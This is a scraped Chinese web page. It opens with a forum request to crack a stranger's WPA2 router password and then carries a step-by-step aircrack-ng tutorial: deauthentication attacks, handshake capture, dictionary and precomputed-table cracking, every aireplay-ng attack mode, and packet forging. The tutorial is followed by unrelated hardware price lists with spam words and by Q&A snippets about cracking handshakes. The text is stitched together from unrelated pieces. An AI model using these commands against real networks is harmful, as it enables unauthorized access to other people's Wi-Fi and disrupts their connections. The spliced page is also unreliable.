求教高手帮忙破解WPA2的握手包 跪求高手！！！帮忙跑一个wpa2加密的路由的密码，有握手包，...
破解 WPA 的前提：必须要有合法无线客户端
WPA 破解的原理：
利用Deauth验证攻击。也就是说强制让合法无线客户端与AP被断开，当它被从WLAN 中断开后，这个无线
客户端会自动尝试重新连接到AP上，在这个重新连接过程中，数据通信就产生了，然后利用airodump捕获
一个无线路由器与无线客户端四次握手的过程，生成一个包含四次握手的cap包。然后再利用字典进行暴力
破解。
1． 激活网卡，并让其工作于11信道
Airmon-ng start wifi0 11
2．捕获11信道的cap包，并保存cap包为123.cap
Airodump-ng –w 123 –c 11 wifi0
上图可以看出采用了WPA加密方式，并且有一个0016b69d10ad合法的无线客户端。
3. 进行Deauth验证攻击，强制断开合法无线客户端和AP直接的连接，使其重新进行连接
aireplay-ng -0 10 -a <ap mac> -c <my mac> wifi0
解释：-0指的是采取Deautenticate攻击方式，后面为发送次数。-c建议还是使用，效果会更好，这个后面跟
的是监测到的合法的已连接的客户端MAC地址
注意上图红色部分，-c后面为合法无线客户端的MAC地址
Deauth攻击往往并不是一次攻击就成功，为确保成功截获需要反复进行（WPA破解不用等到数据Data达到
几万，因为它只要一个包含WPA4次握手验证包就可以了）。如果成功捕获会出现下图红色部分的提示
中国无线论坛中卫出品
AnywhereWLAN!! 25
这时如果输入dir就可以在root目录下看到名为123.cap的握手包了。
得到握手包以后就可以用字典直接破解
首先将在windows下用字典工具生成的字典（例password.txt）拷贝到root目录下
在BT3桌面双击system然后出现下图。
图中左边红色就为root目录，图中红色存储介质双击打开以后就看到你的每个硬盘的分区了。可以进入硬
盘分区右键拷贝，然后进入root目录右键粘贴。如下图红色部分
目前WPA 的破解主要还是基于暴力破解和字典破解，暴力破解和字典破解的一个共性就是“耗时、费力、
运气”所以往往有时候你花了很多时间但还是破不了，这时候希望大家还是要接受这样一个残酷的现实。
中国无线论坛中卫出品
AnywhereWLAN!! 26
破解方式一：用Cap数据包直接暴力破解
从破解难度上讲WEP 是很容易破解的，只要你收集足够的Cap 数据包就肯定可以破解。WPA 的破解需要
有好的密码字典配合才能完成，复杂的WPA密码可能几个月也破解不出来。
输入：aircrack-ng -z –b <ap mac> 123*.cap
123 是前面所获得的握手包的文件名。系统会自动在你输入的文件名后加上-01、-02（如果数据包太多，系
统会自动分成几个文件存储并自动命名，可以使用ls查看），输入123*是打开所有123相关的cap文件。
常见问题：步骤2中收集数据包已达30W，无法破解密码。可能系统自动分成了几个文件贮存cap包。
如输入123-01.cap破解可能导致破解不成功，建议使用123*.cap选择所有的cap包进行破解。
中国无线论坛中卫出品
AnywhereWLAN!! 27
破解方式二. 挂字典破解
一．直接在BT3中挂字典破解
aircrack-ng –w password.txt –b <ap mac> 123.cap
参数说明：passwrod.txt为字典名称123.cap为步骤2中获得的握手信息包
耗时1分31秒获得WPA密码，如下图
从上图可以看出破解用时1分31秒，速度149.91K/S
注：本教程只为了描述破解的过程。我是做了个256K的小字典，事先把密码已经加到字典里了。
二．也可以把包含4次握手的CAP数据包拷贝到硬盘下在WIN下用WinAircrack挂字典破解。
中国无线论坛中卫出品
AnywhereWLAN!! 28
如上图 Encryption type处选择WPA-PSK，下面capture files处导入抓取的握手包123.cap
然后选择WPA选项，如下图
在上图中Dictionary file处导入字典文件password.txt。然后点击右下角的Aircrack the key
中国无线论坛中卫出品
AnywhereWLAN!! 29
然后出现下图提示
上图，选择1后回车，然后开始破解。成功破解如下图
从上图可以看出破解用时54秒，速度251.73K/S(比BT3下要快)
中国无线论坛中卫出品
AnywhereWLAN!! 30
三．通过airolib构建WPA table实现WPA线速破解
WPA的字典破解除了直接挂字典破解外，另外一种就是用airolib将字典构造成WPA table然后再用aircrac
进行破解。
构建WPA table就是采用和WPA加密采用同样算法计算后生成的Hash 散列数值，这样在需要破解的时候直
接调用这样的文件进行比对，破解效率就可以大幅提高。
先讲通过airolib构建WPA table
WPA table具有较强的针对ssid的特性。
1. 在构建WPA table之前需要准备两个文件：一个是ssid列表的文件ssid.txt，一个是字典文件
password.txt。下图为我的文件
大家可以看到两个txt的文件，ssid记事本里是ssid的列表，你可以增加常见的ssid进去，后面的passwrod
就是字典文件了。
2. 把这ssid.txt和password.txt还有上面抓到的握手包123.cap这三个文件拷贝到root目录下方便使用。
见下图
3.开始利用airolib-ng来构建WPA table了。构建wpa table保存的名字为wpahash（下同）
第一步，如下图
airolib-ng wpa --import essid ssid.txt
中国无线论坛中卫出品
AnywhereWLAN!! 31
第二步，如下图
airolib-ng wpa --import passwd password.txt
第三步，如下图
airolib-ng wpa --clean all
第四步，如下图
airolib-ng wpa --batch
注：这一步要等很久（视字典大小而定，我256K的字典等了有15分钟）
4. 用aircrack来利用WPA table进行破解
Aircrack-ng –r wpahash 123.cap
选择1以后将开始破解。
中国无线论坛中卫出品
AnywhereWLAN!! 32
成功破解将如下图所示
从上图中可以看出耗时00:00:00反正不超过1秒钟，速度42250.00K/S
大家也看到了三种破解方式，直接挂字典中在win下用WinAircrack破解是速度比在BT3下要快。直接挂字典
破解不超过1分钟就破出了密码；利用WPA table破解速度虽然不到一秒，但是构建WPA table却耗费了15分
钟。构建WPA table是很耗时的，但是构建出了包括常见ssid的和相对较大字典的WPA table的话，以后破
解的速度将大大降低。当然没有万能的字典，如果有万能的字典，再构建出一个常见ssid的WPA table的话
那这个预运算数据库是超级超级庞大的。
注：WIN平台下的CAIN软件中的破解器也可用于WEP和WPA的基于暴力和字典的破解，但是其破解速度很慢，
相比aircrack-ng而言不具实用价值。
中国无线论坛中卫出品
AnywhereWLAN!! 33
Aireplay-ng的6种攻击模式详解
-0 Deautenticate 冲突模式
使已经连接的合法客户端强制断开与路由端的连接，使其重新连接。在重新连接过程中获得验证数据包，
从而产生有效ARP request。
如果一个客户端连在路由端上，但是没有人上网以产生有效数据，此时，即使用-3 也无法产生有效ARP
request。所以此时需要用-0 攻击模式配合，-3 攻击才会被立刻激活。
aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
参数说明：
【-0】：冲突攻击模式，后面跟发送次数（设置为0，则为循环攻击，不停的断开连接，客户端无法正常上
网）
【-a】：设置ap的mac
【-c】：设置已连接的合法客户端的mac。如果不设置-c，则断开所有和ap连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注：使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器
-1 fakeauth count 伪装客户端连接
这种模式是伪装一个客户端和AP进行连接。
这步是无客户端的破解的第一步，因为是无合法连接的客户端，因此需要一个伪装客户端来和路由器相连。
为让AP接受数据包，必须使自己的网卡和AP关联。如果没有关联的话，目标AP将忽略所有从你网卡发
送的数据包，IVS 数据将不会产生。用-1 伪装客户端成功连接以后才能发送注入命令，让路由器接受到注
入命令后才可反馈数据从而产生ARP包。
aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明：
【-1】：伪装客户端连接模式，后面跟延时
【-e】：设置ap的essid
【-a】：设置ap的mac
【-h】：设置伪装客户端的网卡MAC（即自己网卡mac）
-2 Interactive 交互模式
这种攻击模式是一个抓包和提数据发攻击包，三种集合一起的模式
1．这种模式主要用于破解无客户端，先用-1建立虚假客户端连接然后直接发包攻击
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明：
【-2】：交互攻击模式
【-p】设置控制帧中包含的信息（16进制），默认采用0841
【-c】设置目标mac地址
【-b】设置ap的mac地址
【-h】设置伪装客户端的网卡MAC（即自己网卡mac）
2．提取包，发送注入数据包
aireplay-ng -2 –r <file> -x 1024 wifi0
发包攻击.其中，-x 1024 是限定发包速度，避免网卡死机，可以选择1024。
中国无线论坛中卫出品
AnywhereWLAN!! 34
-3 ARP-request 注入攻击模式
这种模式是一种抓包后分析重发的过程
这种攻击模式很有效。既可以利用合法客户端，也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客
户端那一般需要等几分钟，让合法客户端和ap 之间通信，少量数据就可产生有效ARP request 才可利用-3
模式注入成功。如果没有任何通信存在，不能得到ARP request.，则这种攻击就会失败。如果合法客户端和
ap之间长时间内没有ARP request，可以尝试同时使用-0 攻击。
如果没有合法客户端，则可以利用-1 建立虚拟连接的伪装客户端，连接过程中获得验证数据包，从而产生
有效ARP request。再通过-3 模式注入。
aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明：
【-3】：arp注入攻击模式
【-b】：设置ap的mac
【-h】：设置
【-x】：定义每秒发送数据户包的数量，但是最高不超过1024，建议使用512（也可不定义）
-4 Chopchop 攻击模式，用以获得一个包含密钥数据的xor 文件
这种模式主要是获得一个可利用包含密钥数据的xor 文件，不能用来解密数据包。而是用它来产生一个新
的数据包以便我们可以进行注入。
aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
参数说明：
-b：设置需要破解的AP的mac
-h：设置虚拟伪装连接的mac（即自己网卡的mac）
-5 fragment 碎片包攻击模式用以获得PRGA(包含密钥的后缀为xor 的文件)
这种模式主要是获得一个可利用PRGA，这里的PRGA 并不是wep key数据，不能用来解密数据包。而是
用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标AP重新广播包，当AP重广播
时，一个新的IVS将产生，我们就是利用这个来破解
aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】：碎片包攻击模式
【-b】：设置ap的mac
【-h】：设置虚拟伪装连接的mac（即自己网卡的mac）
中国无线论坛中卫出品
AnywhereWLAN!! 35
Packetforge-ng：数据包制造程序
Packetforge-ng <mode> <options>
Mode
【-0】：伪造ARP包
packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255
–y<.xor file> -w mrarp
参数说明：
【-0】：伪装arp数据包
【-a】：设置ap的mac
【-h】设置虚拟伪装连接的mac（即自己的mac）
【-k】<ip[:port]>说明：设置目标文件IP和端口
【-l】<ip[:port]>说明：设置源文件IP和端口
【-y】<file>说明：从xor 文件中读取PRGA。后面跟xor 的文件名。
【-w】设置伪装的arp包的文件名
Aircrack-ng：WEP 及WPA-PSK key 破解主程序
Aircrack-ng [optin] <.cap/.ivs file>
Optin
aircrack-ng -n 64 -b <ap mac> name-01.ivs
参数说明：
【-n】：设置WEP KEY 长度（64/128/152/256/512）
aircrack-ng -x -f 2 name-01h.cap
参数说明：
【-x】：设置为暴力破解模式
【-f】：设置复杂程度，wep密码设置为1，wpa 密码设置为2
aircrack-ng -w password.txt ciw.cap
【-w】：设置为字典破解模式，后面跟字典文件，再后面跟是我们即时保存的那个捕获到WPA 验证的抓包
文件。
中国无线论坛中卫出品
AnywhereWLAN!! 36
常见问题荟萃
问题1：我在启动bt3 的时候，输入startx黑屏
解答：在输入用户名root 和密码toor 以后输入xconf 这时会黑屏一会，然后出来提示符再输入startx 可进入
win窗口；当实在不能进入win窗口的时候你也可以直接在提示符下输入各破解命令，同时可用alt+f1 打开
一个shell，alt+f2 打开第二个shell，alt+f3 打开第三个等。关闭窗口用PRINT SCREEN 键
问题2：在BT3中打开kismet 的时候窗口一闪就没了。
解答：首先加载驱ifconfig -a rausb0 开始网卡监听:airmon-ng start rausb0。找到/usr/local/etc/kismet.conf
打开此文件在channelsplit=true下面加入一行source=rt2500,rausb0,monitor
注： wusb54g v4一定是rt2500 ,不是加载驱动时显示的rt2570。
3945 的兄弟加入source=ipw3945,eth0,IPW3945
没有分谁告诉你啊
发个握手包看看 710127446@qq.com
我有个TP无线路由的握手包，WPA2-PSK加密，求高手帮我破解下？~
说白了，字典里面有，就可以破解。时间问题。一般密码设置的不复杂，好破解。字典里面没有，永远破解不了。
今日北京中关村英特尔处理器现货市场，4款主流SNB处理器小涨5-15元。英特尔商家受不住涨价引诱，亦步亦趋学习AMD涨价，目前仅在LGA1155处理器的主流型号涨价试探市场反映。
今天北京中关村AMD处理器现货市场，AMD处置器价钱连续大涨，笔者逐日到卖场查看AMD 45nm速龙处理器价格，除了涨字仍是涨字。本日45nm速龙简直全线飚红，而且涨价幅度不小。APU A6-3500三核(2.1G-2.4G的坑爹玩意)小跌10元，报价600元，假如不是看在APU份上，切实难以设想花费者如何舍得花600元买如斯低 频低能的三核处理器。
今日北京中关村台式机内存现货市场，4GB/1333内存价格持续小涨。宇瞻/威刚/创见等4GB内存上调5元价格，报价为160元。2GB内存价格过高，市场难以接收，商家代办谨严追涨。
今天北京中关村笔记本内存现货市场，本条受台式机内存猖狂涨价影响，价格持续涨,Juicy Couture Sunglasses。主流的金士顿2GB/1333和4GB/1333本条上涨10元，报价分辨为100元和170元。其余品牌本条价格亦受影响跟涨。
今日北京中关村台式机硬盘现货市场，希捷500GB/1TB硬盘持续小跌，价格逐步回落，目前希捷7200.12 500GB/1TB分离报价255元和360元。硬盘价格走势和内存/AMD CPU疯狂涨价的终局既然相反,Gucci Caps。日立商家表现单碟1TB硬盘行将到货，目前正在走通关手续。
今天北京中关村笔记本硬盘现货市场，本盘价格稳定不显明，希捷/日立本盘价格无变更。其中希捷跟日破的500GB/5400转本盘，日立750GB/5400转本盘性价比拟高，值得向用户推举。
英特尔SNB上涨 商家难抵涨价诱惑
今日北京中关村英特尔处理器现货市场，4款主流SNB处理器小涨5-15元。英特尔商家受不住涨价诱惑，亦步亦趋学习AMD涨价，目前仅在LGA1155处理器的主流型号涨价试探市场反应。(注：以下价格均为编纂在中关村柜台实地获悉，商情由认证署理商供给，行情随时变化,Prada Swing Packs，仅供参考)
面对AMD APU的冲击，英特尔总算有所反响，主流SNB处理器价格小跌。LGA1156接口处理器价格大跌。其中数i5-750S四核和G6950性价比较高，北 京网友可前往鼎好3层3227#处购置，电话。本地网友可电询商家傅女士详细购买措施。
散片英特尔i5 750S四核到货，报价880元
最新北京中关村英特尔CPU参考报价(元)
LGA 1155接口(适用H61/H67/P67/Z68主板)
型号 核心
规格(主频/FSB/L2缓存)
报价 涨跌 奔腾 G620(散) 双核
2.6G/3MB/32nm
400
-
奔腾 G620(盒) 双核
2.6G/3MB/32nm
460 - 飞跃 G840(盒) 双核
2.8G/3MB/32nm
560
-
酷睿i3 2100(散) 双核
3.1G/3MB/32nm/HT
705
↑5
酷睿i3 2100(盒) 双核
3.1G/3MB/32nm/HT
750
-
酷睿i3 2105(盒) 双核
3.1G/3MB/32nm/HT
820
-
酷睿i3 2120(散) 双核
3.3G/3MB/32nm/HT
770
缺货
酷睿i5 2300(散) 四核
2.8G/6MB/32nm/95W/TB2.0
1065
-
酷睿i5 2300(盒) 四核
2.8G/6MB/32nm/95W/TB2.0
1175
-
酷睿i5 2310(散) 四核
2.9G/6MB/32nm/95W/TB2.0
1065
-
酷睿i5 2400(盒) 四核
3.1G/6MB/32nm/95W/TB2.0
1255
↑15
酷睿i5 2500(盒) 四核
3.3G/6MB/32nm/95W/TB2.0
1340
-
酷睿i5 2500K不锁倍频(盒) 四核
3.3G/6MB/32nm/95W/TB2.0
1440
↑15
酷睿i7 2600(散) 四核
3.4G/8MB/32nm/95W/TB2.0/HT
1830
-
酷睿i7 2600(盒) 四核
3.4G/8MB/32nm/95W/TB2.0/HT
1910
↑20
酷睿i7 2600K不锁倍频(散) 四核
3.4G/8MB/32nm/95W/TB2.0/HT
1950
缺货
酷睿i7 2600K不锁倍频(盒) 四核
3.4G/8MB/32nm/95W/TB2.0/HT
2040
-
LGA 1156(实用H55/H57/P55主板)
奔腾 G6950(散) 双核
2.8G/3MB/32nm
350
-
酷睿i3-530(散) 双核
2.93G/4MB/32nm/HT
-
停产
酷睿i3-530(盒) 双核
2.93G/4MB/32nm/HT
-
停产
酷睿i3-540(散) 双核
3.06G/4MB/32nm/HT
590
-
酷睿i3-540(盒) 双核
3.06G/4MB/32nm/HT
700
-
酷睿i3-550(散) 双核
3.2G/4MB/32nm/HT
650
-
酷睿i5-661(散) 双核
3.33G/4MB/32nm/73W/TB2.0/HT
1050
-
酷睿i5-670(散) 双核
3.46G/4MB/32nm/87W/Turbo/HT
990
-
酷睿i5-750(散) 四核
2.66G/8MB/45nm/95W/Turbo
1005
-
酷睿i5-750S(散) 四核
2.4G/8MB/45nm/95W/Turbo
880
-
酷睿i5-760(散) 四核
2.8G/8MB/45nm/95W/Turbo
1020
-
酷睿i5-760(盒) 四核
2.8G/8MB/45nm/95W/Turbo
1160
-
酷睿i7-860(散) 四核
2.8G/8MB/45nm/95W/Turbo/HT
1460
-
酷睿i7-860(盒) 四核
2.8G/8MB/45nm/95W/Turbo/HT
1850
-
酷睿i7-870(散) 四核
2.93G/8MB/45nm/95W/Turbo/HT
1500
-
酷睿i7-875K(散) 四核
2.93G/8MB/45nm/95W/Turbo/HT
1570
-
LGA 1366接口(适用X58主板)
酷睿i7-920(散) 四核
2.66G/4.8GT/8MB/45nm/130W
1300
-
酷睿i7-930(散) 四核
2.8G/4.8GT/8MB/45nm/130W
1350
-
酷睿i7-940(散) 四核
2.93G/4.8GT/8MB/45nm/130W
1400
-
酷睿i7-950(散) 四核
3.06G/4.8GT/8MB/45nm/130W
1650
-
酷睿i7-950(盒) 四核
3.06G/4.8GT/8MB/45nm/130W
1770
-
酷睿i7-960(散) 四核
3.06G/4.8GT/8MB/45nm/130W
1650
-
酷睿i7-960(盒) 四核
3.06G/4.8GT/8MB/45nm/130W
1880
-
酷睿i7-975 Extreme(散) 四核
3.33G/6.4GT/8MB/45nm/130W
5500
-
酷睿i7-980X Extreme(盒) 六核
3.3G/6.4GT/12MB/32nm/130W
6300
-
酷睿i7-990X Extreme(盒) 六核
3.46G/6.4GT/12MB/32nm/130W
6888
-
最新中关村英特尔CPU参考报价(元)
LGA 775接口
型号 中心 规格(主频/FSB/L2缓存) 报价 涨跌 奔跑 E2140(散) 双核 1.6G/800MHz/1MB/65nm 235
-
奔腾 E2160(散) 双核 1.8G/800MHz/1MB/65nm 250
-
奔腾 E2180(散) 双核 2.0G/800MHz/1MB/65nm 260
-
赛扬 E3300(散) 双核 2.5G/800MHz/1MB/45nm 265
-
赛扬 E3400(散) 双核 2.6G/800MHz/1MB/45nm 265
-
赛扬 E3500(散) 双核 2.7G/800MHz/1MB/45nm 270
-
奔腾 E5200(散) 双核 2.5G/800MHz/2MB/45nm
350
-
奔腾 E5300(散) 双核 2.6G/800MHz/2MB/45nm
355
-
奔腾 E5400(散) 双核 2.7G/800MHz/2MB/45nm 355
-
奔腾 E5400(盒) 双核 2.7G/800MHz/2MB/45nm 390
-
奔腾 E5500(散) 双核 2.8G/800MHz/2MB/45nm 360
-
奔腾 E5800(散) 双核 3.2G/800MHz/2MB/45nm 390
-
奔腾 E6500(散) 双核 2.93G/1066MHz/2MB/45nm
390
-
奔腾 E6500(盒) 双核 2.93G/1066MHz/2MB/45nm
425
-
奔腾 E6700(散) 双核 3.2G/1066MHz/2MB/45nm 400
-
酷睿2 E7400(散) 双核 2.8G/1066MHz/3MB/45nm
665
-
酷睿2 E7500(散) 双核 2.93G/1066MHz/3MB/45nm
660
-
酷睿2 E7500(盒) 双核 2.93G/1066MHz/3MB/45nm 690
-
酷睿2 E8200(散) 双核 2.66G/1333MHz/6MB/45nm/VT 690
-
酷睿2 E8300(散) 双核 2.83G/1333MHz/6MB/45nm/VT 720
-
酷睿2 E8400(散) 双核 3.0G/1333MHz/6MB/45nm/VT 890
-
酷睿2 E8500(散) 双核 3.16G/1333MHz/6MB/45nm/VT 900
-
酷睿2 E8600(散) 双核 3.33G/1333MHz/6MB/45nm/VT 1260
-
酷睿2 E8700(散) 双核 3.5G/1333MHz/6MB/45nm/VT 1315
-
酷睿2 Q6600(散) 四核 2.4G/1333MHz/8MB/65nm/VT
650
-
酷睿2 Q8200(散) 四核 2.33G/1333MHz/4MB/45nm
700
-
酷睿2 Q8300(散) 四核 2.5G/1333MHz/4MB/45nm/ 750
-
酷睿2 Q8400(散)
四核
2.66G/1333MHz/4MB/45nm//VT 785
-
酷睿2 Q9300(散) 四核 2.5G/1333MHz/6MB/45nm/VT 830
-
酷睿2 Q9400(散) 四核 2.66G/1333MHz/6MB/45nm/VT 1120
-
酷睿2 Q9500S(散) 四核 2.83G/1333MHz/6MB/45nm/VT
1180
-
酷睿2 Q9450(散) 四核 2.66G/1333MHz/12MB/45nm/VT 1170
-
酷睿2 Q9550(散) 四核 2.83G/1333MHz/12MB/45nm/VT 1500
-
酷睿2 Q9650(散) 四核 3.0G/1333MHz/12MB/45nm/VT 1540
-
酷睿2 QX9650(盒) 四核 3.0G/1333MHz/12MB/45nm/VT 1550
-
上一页
1
2
3
4
5
6
下一页
相关的主题文章：
Haier service provider grievances difficult level refers to
Facebook music services exposure while listening to music with friends
用BT5光盘破解WPA2---WPA ,抓到了握手包,但是本身字典里没有能破解...
答：抓到握手包后，bt5本身字典里没有能破解的密码是因为这个自带的字典里没有包含正确的密码，这时你可以将握手包导出到windows下，用ewsa软件进行破解。用ewsa软件进行破解的好处就是比bt下要快，而且可以方便更换字典，也就是说可以随意更换字典来进行破解。至于生成字典，可以用别人制作的，也可以自己来有...
如何通过哈希算法生成和破解WPA2无线网络的PMK和PSK?
答：在认证过程中，会生成PTK，其生成方法也基于哈希算法。PTK与报文数据结合产生密文和签名（MIC）。破解的关键在于，虽然握手包中包含客户端MAC地址、BSSID等信息，但PMK和PTK并不在其中，破解者需要通过握手包和其他信息计算出PMK和PTK，再与AP进行比对。破解中，PMK的计算是瓶颈，海量的密钥存储也是一个...
如果提取WPA2 握手包
答：关键是看是否有客户端在线，有的话应该能抓到！不过我奉劝你别再破解WPA上浪费时间了，因为那密码基本无法破解，最难的不是抓握手包而是选择字典破解握手包。据我的实战经验，抓握手包用了10分钟左右，破解用了大概半个月，到现在握手包还是未破解，破解它是耗时浪费精力！放弃吧！！！
如何用beini破解无线路由wpa2和wpa加密
答：用优盘做成启动盘，然后让电脑从优盘启动，进入beni后，不管是WPA还是WPA2破解方法是一样的，第一步是先搞到握手包，然后你还得有一个足够大的密码字典，让电脑跑字典。如果你的电脑上有独立显卡的话，就更好了，你可以让CPU和GPU同时跑。如果对方设的是弱口令的话不到1分钟基本上就可以得到密码，...
wpa2有客户端怎么也抓不到握手包!郁闷! 有什么办法可以有效的抓的握手...
答：你用什么来抓包?抓不到包有很多原因 信号值太弱也抓不到,丢包率太大也抓不到,人家没数据流量也抓不到,最好的办法就是等他下载东西的时候攻击客户端使他掉线重连 用奶瓶的话 如果信号有4格或者-50左右 丢包率小于10 正好下载东西 那么一分钟就可以抓到包了 ...
怎样破解握手包
答：怎样破解握手包，步骤如下：首先需要下载一个“EWSA工具”，安装好 然后点击左上角的“导入数据”（这里的数据指握手包）然后选择一个以 .cap 结尾的文件 点击打开 然后选择“OK” （这里一定要看下是不是有效包，无效的握手包就会显示无数据）导入数据之后，还得添加字典 选择一个准备好的字典，...
帮忙破解个CAP握手包文件
答：如果是破解WEP,直接使用BT3，其他也可以，我就不说了。如果是破解WPA2，WPA可以使用小胖，奶瓶，BT,CDLINUX……部分需要抓包，部分直接跑字典，字典分两种，一个是文档式，还有就是几个G，十几个G的了。。EWSA也可以，这是个专门破包的，对了，微软下，尽量不要使用抓包，破解等等，效果甚微。再就...
无线网络通过WPA/WPA2 PSK进行保护是什么 怎样破解?
答：然后抓到握手包以后就开始破解啦! 5、怎么样?嘿嘿,看到了吧?软件已经搜索到了wpa2加密的方式的路由器!当然了,软件的搜索方式是一起搜索,也就是wep,wpa2一起搜索,看看软件左边栏的“加密方式”你选择wep就会显示wep方式加密的路由,你选择wpa2就会显示wpa2方式加密的路由,咱们这儿讲的是破解wpa2加密方式的路由!
